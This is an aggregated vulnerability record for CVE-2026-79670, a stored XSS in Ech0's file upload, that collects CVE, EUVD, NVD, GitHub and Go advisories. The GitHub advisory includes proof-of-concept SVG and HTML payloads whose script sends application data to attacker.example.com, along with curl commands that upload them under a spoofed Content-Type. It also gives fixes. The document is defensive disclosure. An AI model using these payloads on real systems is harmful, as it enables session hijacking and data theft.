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Ech0 before 4.4.3 Stored XSS via SVG Upload

Exploitation and risk

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cve-program · CVE-2026-79670

Published

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

Source published
25 Aug 2026 11:33:31 UTC
Source modified
25 Aug 2026 17:30:32 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 4.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

CVSS 3.1 · 4.8 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

euvd · EUVD-2026-65444

Published

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

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datePublished: Aug 25, 2026, 11:33:31 AM

dateUpdated: Aug 25, 2026, 5:30:32 PM

Source published
Aug 25, 2026, 11:33:31 AM (timezone not stated)
Source modified
Aug 25, 2026, 5:30:32 PM (timezone not stated)
Saved here
19 Nov 2026 18:51:03 UTC
Source terms
ENISA EUVD · source terms and attribution apply

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EUVD CVSS 4.0 · 4.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

nvd · CVE-2026-79670

Published

Ech0 before 4.4.3 contains a stored cross-site scripting vulnerability in the file upload endpoint that validates Content-Type using only client-supplied headers without server-side inspection. Attackers with admin privileges can upload SVG or HTML files containing JavaScript that executes in the application origin when accessed by any user, enabling session hijacking and data exfiltration.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-434

Original publisher date fields

published: 2026-08-25T12:16:35.247

lastModified: 2026-08-31T20:52:56.343

Source published
25 Aug 2026 12:16:35 UTC
Source modified
31 Aug 2026 20:52:56 UTC
Saved here
25 Oct 2026 16:19:04 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 4.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 4.8 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

osv · GHSA-69hx-63pv-f8f4

Published

## Summary The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing. ## Details The upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header: ```go contentType := file.Header.Get("Content-Type") // client-controlled if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) { return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED) } ``` `isAllowedType` at `file.go:836-843` performs exact string matching — no magic byte detection, no extension validation: ```go func isAllowedType(contentType string, allowedTypes []string) bool { for _, allowed := range allowedTypes { if contentType == allowed { return true } } return false } ``` The original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`: ```go ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename))) ``` All locally stored files are served publicly without authentication at `internal/router/modules.go:51`: ```go ctx.Engine.Static("api/files", root) ``` This `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go's `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`. No `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`). **Variant 1 — SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `<script>` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/<key>.svg` and JavaScript within them executes in the application's origin. **Variant 2 — Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/<key>.html` as `text/html`. ## PoC **Variant 1 — SVG XSS (simplest, default config):** ```bash # 1. Create SVG with embedded JavaScript cat > evil.svg << 'SVGEOF' <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <script> // Steal cookies and redirect to attacker fetch('/api/echo/page') .then(r => r.json()) .then(d => { new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d)); }); </script> <circle cx="50" cy="50" r="40" fill="red"/> </svg> SVGEOF # 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed) curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F '[email protected];type=image/svg+xml' \ -F 'category=image' \ -F 'storage_type=local' # Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg # 3. Access without authentication — JavaScript executes in application origin: # GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg ``` **Variant 2 — Content-Type bypass with HTML:** ```bash # 1. Create HTML with JavaScript cat > evil.html << 'HTMLEOF' <html><body> <script> document.write('<h1>XSS in ' + document.domain + '</h1>'); // Exfiltrate data from same-origin API fetch('/api/echo/page').then(r=>r.json()).then(d=>{ new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d)); }); </script> </body></html> HTMLEOF # 2. Upload with spoofed Content-Type curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F '[email protected];type=image/jpeg' \ -F 'category=image' \ -F 'storage_type=local' # 3. Access without authentication — renders as text/html: # GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html ``` ## Impact - **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly. - **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens. - **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated. - **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data. - **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised. The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise. ## Recommended Fix **1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`): ```go import "net/http" // Replace client-controlled Content-Type with server-detected type func detectContentType(file multipart.File) (string, error) { buf := make([]byte, 512) n, err := file.Read(buf) if err != nil && err != io.EOF { return "", err } if _, err := file.Seek(0, io.SeekStart); err != nil { return "", err } return http.DetectContentType(buf[:n]), nil } ``` **2. Remove `image/svg+xml` from default AllowedTypes** or sanitize SVGs to strip `<script>` tags and event handlers before storage. **3. Add security headers** in `internal/router/middleware.go`: ```go func SecurityHeaders() gin.HandlerFunc { return func(c *gin.Context) { c.Header("X-Content-Type-Options", "nosniff") c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'") c.Next() } } ``` **4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application's cookie scope.

Source published
10 Apr 2026 19:50:01 UTC
Source modified
27 Aug 2026 04:10:33 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Publisher rating · MODERATE

osv · GO-2026-5172

Published

Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.

Source published
25 Jun 2026 22:34:31 UTC
Source modified
27 Aug 2026 04:10:33 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

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Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

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Sources read 20 Nov 03:39 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current